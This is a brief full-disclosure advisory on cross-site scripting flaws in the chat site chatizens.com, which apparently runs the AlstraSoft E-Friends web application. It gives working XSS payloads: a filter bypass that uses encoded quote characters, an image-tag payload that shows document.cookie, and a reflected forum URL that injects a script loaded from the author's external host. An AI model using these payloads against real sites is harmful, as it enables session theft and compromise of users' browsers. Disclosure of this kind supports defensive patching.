Chatizens.com - XSS with cookie disclosure

[luny@xxxxxxxxxxxxxxx]

Chatizens.com Also known as Chattown.com

Homepage:
http://www.chatizens.com

Affected files:

* Profile input boxes:

All input boxes of your profile.

* Browsing the forums
--------------------------------------------

XSS vuln with cookie disclosure via profile input boxes.

To bypass chatizens filters of adding backslashes to ' and ", we use the long 
UFT-8 unicode of '. PoC:

<img src=javascript:alert(&#0000039XSS&#0000039)>

And to display our cookie:

<IMG SRC=javascript:alert(document.cookie)>

Screenshot:
http://www.youfucktard.com/xsp/chatizen1.jpg
http://www.youfucktard.com/xsp/chatizen2.jpg

---------------------------------------------
heh, it seems chatizens.com is using a webapp I auditing before, Alstrasoft 
E-Friends. 

Screenshot:
http://www.youfucktard.com/xsp/chatizen3.jpg

-------------------------------------------

XSS vuln via viewing forum categories:

http://chatizens.com/friends/index.php?mode=forums&act=viewcat&seid=19";>">">'><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><""><'<"

Screenshot:
http://www.youfucktard.com/xsp/chatizen4.jpg